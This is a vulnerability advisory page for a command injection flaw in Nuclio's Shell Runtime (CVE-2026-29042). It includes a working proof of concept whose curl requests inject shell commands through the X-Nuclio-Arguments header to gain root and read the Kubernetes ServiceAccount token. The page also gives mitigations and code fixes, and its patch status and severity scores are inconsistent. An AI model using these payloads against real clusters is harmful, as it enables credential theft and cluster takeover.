CVE-2026-29042: Github.com/nuclio/nuclio Nuclio Shell Runtime Command Injection Vulnerability

HIGH
Advisory Identifier: GHSA-95fj-3w7g-4r27
CWE-75
Published
Advisory Summary

CVE-2026-29042 is a HIGH nuclio shell runtime command injection vulnerability (CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)) affecting Github.com/nuclio/nuclio libraries in the Go ecosystem. The issue involves nuclio shell runtime command injection leading to privilege escalation. Remediation is available by upgrading affected packages to version 1.15.20.

CVE-2026-29042 at a Glance

CVE Identifier CVE-2026-29042
GHSA Identifier GHSA-95fj-3w7g-4r27
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
Affected Product Github.com/nuclio/nuclio
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-29042

To remediate this vulnerability, upgrade all affected Github.com/nuclio/nuclio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nuclio/nuclio fixed: 1.15.20
Upgrade github.com/nuclio/nuclio to 1.15.20
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nuclio/nuclio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-29042, inspect your project dependencies for Github.com/nuclio/nuclio:

inspect dependencies for github.com/nuclio/nuclio

Analyze the terminal output to locate any version of Github.com/nuclio/nuclio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.15.20), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection), where the product does not adequately filter user-controlled input for special elements with control implications. In Github.com/nuclio/nuclio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary This vulnerability exists in Nuclio's Shell Runtime component, allowing attackers with function invocation permissions to inject malicious commands via HTTP request headers, execute arbitrary code with root privileges in function containers, steal ServiceAccount Tokens with cluster-admin level permissions, and ultimately achieve complete control over the entire Kubernetes cluster. Recommended CWE classification: CWE-78 (OS Command Injection). Nuclio Shell Runtime processes the `X-Nuclio-Arguments` HTTP header without validation or escaping, directly concatenating user input into shell commands executed via `sh -c`. This allows arbitrary command injection, enabling attackers to read sensitive files (including ServiceAccount tokens) and access the Kubernetes API with cluster-level privileges. ## Details ### Vulnerability Description The Nuclio Shell Runtime component contains a critical command injection vulnerability in how it processes user-supplied arguments. When a function is invoked via HTTP, the runtime reads the `X-Nuclio-Arguments` header and directly incorporates its value into shell commands without any validation or sanitization. ### Root Cause Analysis **Vulnerable Code Location 1:** `pkg/processor/runtime/shell/runtime.go:289-297` ```go func (s *shell) getCommandArguments(event nuclio.Event) []string { arguments := event.GetHeaderString(headers.Arguments) if arguments == "" { arguments = s.configuration.Arguments } return strings.Split(arguments, " ") // No validation performed } ``` The function retrieves the `X-Nuclio-Arguments` header value and splits it by spaces without any validation. Shell metacharacters like `;`, `|`, `&&`, backticks, and `$()` are not filtered or escaped. **Vulnerable Code Location 2:** `pkg/processor/runtime/shell/runtime.go:204-213` ```go if s.commandInPath { // if the command is an executable, run it as a command with sh -c. cmd = exec.CommandContext(context, "sh", "-c", strings.Join(command, " ")) } else { // if the command is a shell script run it with sh(without -c). cmd = exec.CommandContext(context, "sh", command...) } cmd.Stdin = strings.NewReader(string(event.GetBody())) ``` The runtime joins the command array (which includes user-controlled arguments) into a single string and executes it using `sh -c`. This execution mode interprets shell metacharacters, enabling command injection. ### Attack Flow 1. Attacker sends HTTP request to Nuclio function with malicious `X-Nuclio-Arguments` header 2. Runtime extracts header value without validation 3. Malicious payload is concatenated into shell command 4. Command is executed via `sh -c` with root privileges 5. Attacker executes arbitrary commands (e.g., reading ServiceAccount token) 6. Attacker uses stolen token to access Kubernetes API with cluster-admin privileges ## PoC ### Environment Setup **Prerequisites:** - Docker installed - kubectl installed - Helm 3.x installed - 8GB RAM minimum **Step 1: Create Kubernetes Cluster** ```bash # Install Kind curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64 chmod +x ./kind sudo mv ./kind /usr/local/bin/kind # Create cluster with registry configuration cat > kind-config.yaml <<EOF kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - role: control-plane - role: worker EOF kind create cluster --name nuclio-test --config kind-config.yaml ``` **Step 2: Setup Local Registry** ```bash # Start registry container docker run -d -p 5000:5000 --name registry --network kind registry:2 docker network connect kind registry # Configure containerd on worker node docker exec nuclio-test-worker bash -c 'cat >> /etc/containerd/config.toml << EOF [plugins."io.containerd.grpc.v1.cri".registry.mirrors."registry:5000"] endpoint = ["http://registry:5000"] [plugins."io.containerd.grpc.v1.cri".registry.configs."registry:5000".tls] insecure_skip_verify = true EOF' docker exec nuclio-test-worker systemctl restart containerd ``` **Step 3: Install Nuclio** ```bash # Add Helm repository helm repo add nuclio https://nuclio.github.io/nuclio/charts helm repo update # Install Nuclio 1.15.17 helm install nuclio nuclio/nuclio \ --namespace nuclio \ --create-namespace \ --set registry.pushPullUrl=registry:5000 # Wait for pods to be ready kubectl wait --for=condition=ready pod -l app.kubernetes.io/name=nuclio -n nuclio --timeout=300s ``` **Step 4: Deploy Vulnerable Function** ```bash # Create shell script cat > echo.sh <<'EOF' #!/bin/sh echo "Response from shell function" EOF chmod +x echo.sh # Create project kubectl apply -f - <<EOF apiVersion: nuclio.io/v1beta1 kind: NuclioProject metadata: name: default namespace: nuclio spec: displayName: Default Project EOF # Deploy function nuctl deploy shell-func \ --path echo.sh \ --runtime shell \ --namespace nuclio \ --registry localhost:5000 \ --run-registry registry:5000 \ --project-name default # Verify deployment kubectl -n nuclio get pods -l nuclio.io/function-name=shell-func ``` ### Exploitation **Test 1: Verify Command Injection** ```bash kubectl run -n nuclio exploit-test \ --image=curlimages/curl:latest \ --rm -i --restart=Never -- \ curl -s -X POST \ -H "Content-Type: text/plain" \ -H "x-nuclio-arguments: ; id ; whoami ;" \ -d "test" \ http://nuclio-shell-func:8080 ``` **Expected Output:** ``` uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) root ``` **Test 2: Extract ServiceAccount Token** ```bash kubectl run -n nuclio token-extract \ --image=curlimages/curl:latest \ --rm -i --restart=Never -- \ curl -s -X POST \ -H "Content-Type: text/plain" \ -H "x-nuclio-arguments: ; cat /var/run/secrets/kubernetes.io/serviceaccount/token ;" \ -d "test" \ http://nuclio-shell-func:8080 ``` **Expected Output:** ``` eyJhbGciOiJSUzI1NiIsImtpZCI6IldUZFN0d3dod2hSNE8yLWtRZmc0Z0N0UWNtaDMxVDhEVlQyYWRnS3AzbEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAyMzk4Mzg3... ``` **Test 3: Validate Token Privileges** ```bash # Extract token from previous output and test permissions TOKEN="<extracted-token>" kubectl auth can-i --list --token="$TOKEN" ``` **Expected Output:** ``` Resources Non-Resource URLs Resource Names Verbs *.* [] [] [*] [*] [] [*] ``` This confirms the token has cluster-admin level permissions. **Test 4: Verify Cluster Access** ```bash # Test reading secrets kubectl auth can-i get secrets --all-namespaces --token="$TOKEN" # Output: yes # Test creating pods kubectl auth can-i create pods --all-namespaces --token="$TOKEN" # Output: yes ``` ### Alternative Injection Methods **Backtick Injection:** ```bash curl -s -X POST \ -H "Content-Type: text/plain" \ -H 'x-nuclio-arguments: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`' \ -d "test" \ http://nuclio-shell-func:8080 ``` **$() Syntax Injection:** ```bash curl -s -X POST \ -H "Content-Type: text/plain" \ -H 'x-nuclio-arguments: $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)' \ -d "test" \ http://nuclio-shell-func:8080 ``` Both methods successfully extract the token. ## Impact ### Severity Assessment This vulnerability enables complete cluster compromise through a multi-stage attack: **Stage 1: Command Injection** - Attacker injects malicious commands via HTTP header - Commands execute with root privileges in function container - No authentication or authorization checks on command content **Stage 2: Credential Theft** - Attacker reads ServiceAccount token from mounted secret - Token belongs to `system:serviceaccount:nuclio:default` - Token has cluster-admin level permissions **Stage 3: Privilege Escalation** - Attacker uses stolen token to authenticate to Kubernetes API - Gains full control over all cluster resources - Can read all secrets, create/modify/delete any resource ### Affected Resources **Confidentiality Impact:** High - All secrets across all namespaces can be read - Database credentials, API keys, certificates exposed - Application data and configuration accessible **Integrity Impact:** High - Attacker can modify any cluster resource - Can deploy malicious workloads - Can alter RBAC policies and security controls - Can inject backdoors for persistent access **Availability Impact:** Medium - Attacker can delete critical resources - Can deploy resource-intensive workloads causing DoS - Can disrupt cluster operations ### Real-World Attack Scenarios **Scenario 1: Data Breach** 1. Attacker gains function invocation access (low privilege) 2. Injects command to extract ServiceAccount token 3. Uses token to read all secrets in production namespace 4. Exfiltrates database credentials and API keys 5. Accesses production databases and external services **Scenario 2: Supply Chain Compromise** 1. Attacker compromises CI/CD pipeline 2. Deploys malicious Nuclio function 3. Function automatically executes on deployment 4. Establishes persistent backdoor in cluster 5. Pivots to compromise other applications **Scenario 3: Ransomware Attack** 1. Attacker exploits vulnerability to gain cluster access 2. Deploys crypto-mining or ransomware pods 3. Encrypts persistent volumes 4. Demands ransom for decryption keys ## Severity **CVSS v3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L **CVSS Score:** 9.1 (Critical) **Justification:** - **Attack Vector (Network):** Exploitable remotely via HTTP - **Attack Complexity (Low):** No special conditions required - **Privileges Required (Low):** Only function invocation permission needed - **User Interaction (None):** Fully automated exploitation - **Scope (Changed):** Breaks out of function container to cluster level - **Confidentiality (High):** Complete access to all secrets - **Integrity (High):** Full control over cluster resources - **Availability (Low):** Limited direct availability impact ## Affected Versions - Nuclio: All versions up to and including 1.15.19 - Component: Shell Runtime (`pkg/processor/runtime/shell`) The vulnerability exists in all versions that include the Shell Runtime component, as the vulnerable code pattern has been present since the feature's introduction. ## Patched Versions No patch is currently available. Users should implement workarounds until an official fix is released. ## Workarounds ### Immediate Mitigation (Choose One) **Option 1: Disable Shell Runtime** Add to Nuclio platform configuration: ```yaml platformConfig: runtimes: shell: enabled: false ``` This completely disables the vulnerable component but breaks existing Shell Runtime functions. **Option 2: Restrict Function Deployment** Limit who can deploy functions using RBAC: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: nuclio-function-deployer namespace: nuclio rules: - apiGroups: ["nuclio.io"] resources: ["nucliofunctions"] verbs: ["create", "update", "patch"] # Only grant to trusted users ``` Remove default function deployment permissions from untrusted users. **Option 3: Network Isolation** Restrict egress traffic from function pods: ```yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: nuclio-processor-egress namespace: nuclio spec: podSelector: matchLabels: nuclio.io/component: processor policyTypes: - Egress egress: - to: - podSelector: {} ports: - protocol: TCP port: 443 # Only allow HTTPS to cluster API ``` This limits the attacker's ability to exfiltrate data but doesn't prevent the initial exploitation. ### Long-Term Fixes **Fix 1: Input Validation** Implement strict validation in `getCommandArguments`: ```go import "regexp" var argumentsRegex = regexp.MustCompile(`^[a-zA-Z0-9_\-=., ]+$`) func (s *shell) getCommandArguments(event nuclio.Event) []string { arguments := event.GetHeaderString(headers.Arguments) if arguments == "" { arguments = s.configuration.Arguments } if !argumentsRegex.MatchString(arguments) { s.Logger.ErrorWith("Invalid arguments: contains unsafe characters") return []string{} } return strings.Split(arguments, " ") } ``` **Fix 2: Remove sh -c Execution** Use parameterized command execution: ```go func (s *shell) processEvent(context context.Context, command []string, event nuclio.Event, responseChan chan nuclio.Response) { var cmd *exec.Cmd if len(command) > 0 { cmd = exec.CommandContext(context, command[0], command[1:]...) } else { // Handle error return } cmd.Stdin = strings.NewReader(string(event.GetBody())) // ... rest of code } ``` **Fix 3: Limit ServiceAccount Permissions** Create restricted ServiceAccount for function pods: ```yaml apiVersion: v1 kind: ServiceAccount metadata: name: nuclio-function-sa namespace: nuclio --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: nuclio-function-role namespace: nuclio rules: - apiGroups: [""] resources: ["configmaps"] verbs: ["get", "list"] # Do not grant secrets or cross-namespace access ``` ## Resources - Nuclio GitHub: https://github.com/nuclio/nuclio - CWE-78: OS Command Injection: https://cwe.mitre.org/data/definitions/78.html - OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection - Kubernetes Security Best Practices: https://kubernetes.io/docs/concepts/security/ ## Credits credit for: @b0b0haha (603571786@qq.com) @j311yl0v3u (2439839508@qq.com)

CVE-2026-29042 Affected Github.com/nuclio/nuclio Versions

1 component(s)
Fixed Versions:
1.15.20
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nuclio/nuclio
Go
< 1.15.20
1.15.20

References

Frequently Asked Questions

What is CVE-2026-29042?
CVE-2026-29042 is a security vulnerability in Github.com/nuclio/nuclio involving Nuclio Shell Runtime Command Injection Leading to Privilege Escalation under CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection).
Which Github.com/nuclio/nuclio versions are affected?
Affected versions include releases prior to 1.15.20 across affected packages: github.com/nuclio/nuclio.
What version fixes CVE-2026-29042?
Upgrading to 1.15.20 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nuclio/nuclio affected?
Yes, github.com/nuclio/nuclio is affected in releases prior to 1.15.20. Upgrade your dependency to 1.15.20 or later.
What CWE is associated with CVE-2026-29042?
CVE-2026-29042 is classified under CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (The product does not adequately filter user-controlled input for special elements with control implications.).
How can I check Go dependencies for CVE-2026-29042?
Run the dependency tree command: 'inspect dependencies for github.com/nuclio/nuclio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-95fj-3w7g-4r27",
  "modified" : "2026-03-06T21:57:17Z",
  "published" : "2026-03-04T21:05:51Z",
  "aliases" : [ "CVE-2026-29042" ],
  "summary" : "Nuclio Shell Runtime Command Injection Leading to Privilege Escalation",
  "details" : "## Summary\n\nThis vulnerability exists in Nuclio's Shell Runtime component, allowing attackers with function invocation permissions to inject malicious commands via HTTP request headers, execute arbitrary code with root privileges in function containers, steal ServiceAccount Tokens with cluster-admin level permissions, and ultimately achieve complete control over the entire Kubernetes cluster. Recommended CWE classification: CWE-78 (OS Command Injection).\n\nNuclio Shell Runtime processes the `X-Nuclio-Arguments` HTTP header without validation or escaping, directly concatenating user input into shell commands executed via `sh -c`. This allows arbitrary command injection, enabling attackers to read sensitive files (including ServiceAccount tokens) and access the Kubernetes API with cluster-level privileges.\n\n## Details\n\n### Vulnerability Description\n\nThe Nuclio Shell Runtime component contains a critical command injection vulnerability in how it processes user-supplied arguments. When a function is invoked via HTTP, the runtime reads the `X-Nuclio-Arguments` header and directly incorporates its value into shell commands without any validation or sanitization.\n\n### Root Cause Analysis\n\n**Vulnerable Code Location 1:** `pkg/processor/runtime/shell/runtime.go:289-297`\n\n```go\nfunc (s *shell) getCommandArguments(event nuclio.Event) []string {\n    arguments := event.GetHeaderString(headers.Arguments)\n\n    if arguments == \"\" {\n        arguments = s.configuration.Arguments\n    }\n\n    return strings.Split(arguments, \" \")  // No validation performed\n}\n```\n\nThe function retrieves the `X-Nuclio-Arguments` header value and splits it by spaces without any validation. Shell metacharacters like `;`, `|`, `&&`, backticks, and `$()` are not filtered or escaped.\n\n**Vulnerable Code Location 2:** `pkg/processor/runtime/shell/runtime.go:204-213`\n\n```go\nif s.commandInPath {\n    // if the command is an executable, run it as a command with sh -c.\n    cmd = exec.CommandContext(context, \"sh\", \"-c\", strings.Join(command, \" \"))\n} else {\n    // if the command is a shell script run it with sh(without -c).\n    cmd = exec.CommandContext(context, \"sh\", command...)\n}\n\ncmd.Stdin = strings.NewReader(string(event.GetBody()))\n```\n\nThe runtime joins the command array (which includes user-controlled arguments) into a single string and executes it using `sh -c`. This execution mode interprets shell metacharacters, enabling command injection.\n\n### Attack Flow\n\n1. Attacker sends HTTP request to Nuclio function with malicious `X-Nuclio-Arguments` header\n2. Runtime extracts header value without validation\n3. Malicious payload is concatenated into shell command\n4. Command is executed via `sh -c` with root privileges\n5. Attacker executes arbitrary commands (e.g., reading ServiceAccount token)\n6. Attacker uses stolen token to access Kubernetes API with cluster-admin privileges\n\n## PoC\n\n### Environment Setup\n\n**Prerequisites:**\n- Docker installed\n- kubectl installed\n- Helm 3.x installed\n- 8GB RAM minimum\n\n**Step 1: Create Kubernetes Cluster**\n\n```bash\n# Install Kind\ncurl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64\nchmod +x ./kind\nsudo mv ./kind /usr/local/bin/kind\n\n# Create cluster with registry configuration\ncat > kind-config.yaml <<EOF\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n- role: worker\nEOF\n\nkind create cluster --name nuclio-test --config kind-config.yaml\n```\n\n**Step 2: Setup Local Registry**\n\n```bash\n# Start registry container\ndocker run -d -p 5000:5000 --name registry --network kind registry:2\ndocker network connect kind registry\n\n# Configure containerd on worker node\ndocker exec nuclio-test-worker bash -c 'cat >> /etc/containerd/config.toml << EOF\n\n[plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"registry:5000\"]\n  endpoint = [\"http://registry:5000\"]\n[plugins.\"io.containerd.grpc.v1.cri\".registry.configs.\"registry:5000\".tls]\n  insecure_skip_verify = true\nEOF'\n\ndocker exec nuclio-test-worker systemctl restart containerd\n```\n\n**Step 3: Install Nuclio**\n\n```bash\n# Add Helm repository\nhelm repo add nuclio https://nuclio.github.io/nuclio/charts\nhelm repo update\n\n# Install Nuclio 1.15.17\nhelm install nuclio nuclio/nuclio \\\n  --namespace nuclio \\\n  --create-namespace \\\n  --set registry.pushPullUrl=registry:5000\n\n# Wait for pods to be ready\nkubectl wait --for=condition=ready pod -l app.kubernetes.io/name=nuclio -n nuclio --timeout=300s\n```\n\n**Step 4: Deploy Vulnerable Function**\n\n```bash\n# Create shell script\ncat > echo.sh <<'EOF'\n#!/bin/sh\necho \"Response from shell function\"\nEOF\nchmod +x echo.sh\n\n# Create project\nkubectl apply -f - <<EOF\napiVersion: nuclio.io/v1beta1\nkind: NuclioProject\nmetadata:\n  name: default\n  namespace: nuclio\nspec:\n  displayName: Default Project\nEOF\n\n# Deploy function\nnuctl deploy shell-func \\\n  --path echo.sh \\\n  --runtime shell \\\n  --namespace nuclio \\\n  --registry localhost:5000 \\\n  --run-registry registry:5000 \\\n  --project-name default\n\n# Verify deployment\nkubectl -n nuclio get pods -l nuclio.io/function-name=shell-func\n```\n\n### Exploitation\n\n**Test 1: Verify Command Injection**\n\n```bash\nkubectl run -n nuclio exploit-test \\\n  --image=curlimages/curl:latest \\\n  --rm -i --restart=Never -- \\\n  curl -s -X POST \\\n  -H \"Content-Type: text/plain\" \\\n  -H \"x-nuclio-arguments: ; id ; whoami ;\" \\\n  -d \"test\" \\\n  http://nuclio-shell-func:8080\n```\n\n**Expected Output:**\n```\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nroot\n```\n\n**Test 2: Extract ServiceAccount Token**\n\n```bash\nkubectl run -n nuclio token-extract \\\n  --image=curlimages/curl:latest \\\n  --rm -i --restart=Never -- \\\n  curl -s -X POST \\\n  -H \"Content-Type: text/plain\" \\\n  -H \"x-nuclio-arguments: ; cat /var/run/secrets/kubernetes.io/serviceaccount/token ;\" \\\n  -d \"test\" \\\n  http://nuclio-shell-func:8080\n```\n\n**Expected Output:**\n```\neyJhbGciOiJSUzI1NiIsImtpZCI6IldUZFN0d3dod2hSNE8yLWtRZmc0Z0N0UWNtaDMxVDhEVlQyYWRnS3AzbEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAyMzk4Mzg3...\n```\n\n**Test 3: Validate Token Privileges**\n\n```bash\n# Extract token from previous output and test permissions\nTOKEN=\"<extracted-token>\"\n\nkubectl auth can-i --list --token=\"$TOKEN\"\n```\n\n**Expected Output:**\n```\nResources                                       Non-Resource URLs   Resource Names   Verbs\n*.*                                             []                  []               [*]\n                                                [*]                 []               [*]\n```\n\nThis confirms the token has cluster-admin level permissions.\n\n**Test 4: Verify Cluster Access**\n\n```bash\n# Test reading secrets\nkubectl auth can-i get secrets --all-namespaces --token=\"$TOKEN\"\n# Output: yes\n\n# Test creating pods\nkubectl auth can-i create pods --all-namespaces --token=\"$TOKEN\"\n# Output: yes\n```\n\n### Alternative Injection Methods\n\n**Backtick Injection:**\n```bash\ncurl -s -X POST \\\n  -H \"Content-Type: text/plain\" \\\n  -H 'x-nuclio-arguments: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`' \\\n  -d \"test\" \\\n  http://nuclio-shell-func:8080\n```\n\n**$() Syntax Injection:**\n```bash\ncurl -s -X POST \\\n  -H \"Content-Type: text/plain\" \\\n  -H 'x-nuclio-arguments: $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)' \\\n  -d \"test\" \\\n  http://nuclio-shell-func:8080\n```\n\nBoth methods successfully extract the token.\n\n## Impact\n\n### Severity Assessment\n\nThis vulnerability enables complete cluster compromise through a multi-stage attack:\n\n**Stage 1: Command Injection**\n- Attacker injects malicious commands via HTTP header\n- Commands execute with root privileges in function container\n- No authentication or authorization checks on command content\n\n**Stage 2: Credential Theft**\n- Attacker reads ServiceAccount token from mounted secret\n- Token belongs to `system:serviceaccount:nuclio:default`\n- Token has cluster-admin level permissions\n\n**Stage 3: Privilege Escalation**\n- Attacker uses stolen token to authenticate to Kubernetes API\n- Gains full control over all cluster resources\n- Can read all secrets, create/modify/delete any resource\n\n### Affected Resources\n\n**Confidentiality Impact:** High\n- All secrets across all namespaces can be read\n- Database credentials, API keys, certificates exposed\n- Application data and configuration accessible\n\n**Integrity Impact:** High\n- Attacker can modify any cluster resource\n- Can deploy malicious workloads\n- Can alter RBAC policies and security controls\n- Can inject backdoors for persistent access\n\n**Availability Impact:** Medium\n- Attacker can delete critical resources\n- Can deploy resource-intensive workloads causing DoS\n- Can disrupt cluster operations\n\n### Real-World Attack Scenarios\n\n**Scenario 1: Data Breach**\n1. Attacker gains function invocation access (low privilege)\n2. Injects command to extract ServiceAccount token\n3. Uses token to read all secrets in production namespace\n4. Exfiltrates database credentials and API keys\n5. Accesses production databases and external services\n\n**Scenario 2: Supply Chain Compromise**\n1. Attacker compromises CI/CD pipeline\n2. Deploys malicious Nuclio function\n3. Function automatically executes on deployment\n4. Establishes persistent backdoor in cluster\n5. Pivots to compromise other applications\n\n**Scenario 3: Ransomware Attack**\n1. Attacker exploits vulnerability to gain cluster access\n2. Deploys crypto-mining or ransomware pods\n3. Encrypts persistent volumes\n4. Demands ransom for decryption keys\n\n## Severity\n\n**CVSS v3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\n\n**CVSS Score:** 9.1 (Critical)\n\n**Justification:**\n- **Attack Vector (Network):** Exploitable remotely via HTTP\n- **Attack Complexity (Low):** No special conditions required\n- **Privileges Required (Low):** Only function invocation permission needed\n- **User Interaction (None):** Fully automated exploitation\n- **Scope (Changed):** Breaks out of function container to cluster level\n- **Confidentiality (High):** Complete access to all secrets\n- **Integrity (High):** Full control over cluster resources\n- **Availability (Low):** Limited direct availability impact\n\n## Affected Versions\n\n- Nuclio: All versions up to and including 1.15.19\n- Component: Shell Runtime (`pkg/processor/runtime/shell`)\n\nThe vulnerability exists in all versions that include the Shell Runtime component, as the vulnerable code pattern has been present since the feature's introduction.\n\n## Patched Versions\n\nNo patch is currently available. Users should implement workarounds until an official fix is released.\n\n## Workarounds\n\n### Immediate Mitigation (Choose One)\n\n**Option 1: Disable Shell Runtime**\n\nAdd to Nuclio platform configuration:\n\n```yaml\nplatformConfig:\n  runtimes:\n    shell:\n      enabled: false\n```\n\nThis completely disables the vulnerable component but breaks existing Shell Runtime functions.\n\n**Option 2: Restrict Function Deployment**\n\nLimit who can deploy functions using RBAC:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: nuclio-function-deployer\n  namespace: nuclio\nrules:\n- apiGroups: [\"nuclio.io\"]\n  resources: [\"nucliofunctions\"]\n  verbs: [\"create\", \"update\", \"patch\"]\n  # Only grant to trusted users\n```\n\nRemove default function deployment permissions from untrusted users.\n\n**Option 3: Network Isolation**\n\nRestrict egress traffic from function pods:\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: nuclio-processor-egress\n  namespace: nuclio\nspec:\n  podSelector:\n    matchLabels:\n      nuclio.io/component: processor\n  policyTypes:\n  - Egress\n  egress:\n  - to:\n    - podSelector: {}\n    ports:\n    - protocol: TCP\n      port: 443  # Only allow HTTPS to cluster API\n```\n\nThis limits the attacker's ability to exfiltrate data but doesn't prevent the initial exploitation.\n\n### Long-Term Fixes\n\n**Fix 1: Input Validation**\n\nImplement strict validation in `getCommandArguments`:\n\n```go\nimport \"regexp\"\n\nvar argumentsRegex = regexp.MustCompile(`^[a-zA-Z0-9_\\-=., ]+$`)\n\nfunc (s *shell) getCommandArguments(event nuclio.Event) []string {\n    arguments := event.GetHeaderString(headers.Arguments)\n\n    if arguments == \"\" {\n        arguments = s.configuration.Arguments\n    }\n\n    if !argumentsRegex.MatchString(arguments) {\n        s.Logger.ErrorWith(\"Invalid arguments: contains unsafe characters\")\n        return []string{}\n    }\n\n    return strings.Split(arguments, \" \")\n}\n```\n\n**Fix 2: Remove sh -c Execution**\n\nUse parameterized command execution:\n\n```go\nfunc (s *shell) processEvent(context context.Context,\n    command []string,\n    event nuclio.Event,\n    responseChan chan nuclio.Response) {\n\n    var cmd *exec.Cmd\n\n    if len(command) > 0 {\n        cmd = exec.CommandContext(context, command[0], command[1:]...)\n    } else {\n        // Handle error\n        return\n    }\n\n    cmd.Stdin = strings.NewReader(string(event.GetBody()))\n    // ... rest of code\n}\n```\n\n**Fix 3: Limit ServiceAccount Permissions**\n\nCreate restricted ServiceAccount for function pods:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: nuclio-function-sa\n  namespace: nuclio\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: nuclio-function-role\n  namespace: nuclio\nrules:\n- apiGroups: [\"\"]\n  resources: [\"configmaps\"]\n  verbs: [\"get\", \"list\"]\n# Do not grant secrets or cross-namespace access\n```\n\n## Resources\n\n- Nuclio GitHub: https://github.com/nuclio/nuclio\n- CWE-78: OS Command Injection: https://cwe.mitre.org/data/definitions/78.html\n- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection\n- Kubernetes Security Best Practices: https://kubernetes.io/docs/concepts/security/\n\n## Credits\ncredit for:\n@b0b0haha (603571786@qq.com)\n@j311yl0v3u (2439839508@qq.com)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nuclio/nuclio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.15.20"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.15.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nuclio/nuclio/security/advisories/GHSA-95fj-3w7g-4r27"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29042"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuclio/nuclio/pull/4030"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuclio/nuclio/commit/5352d7e16cf92f4350a2f8d806c4b80b626b5c5a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nuclio/nuclio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuclio/nuclio/releases/tag/1.15.20"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-75" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-04T21:05:51Z",
    "nvd_published_at" : "2026-03-06T07:16:01Z"
  }
}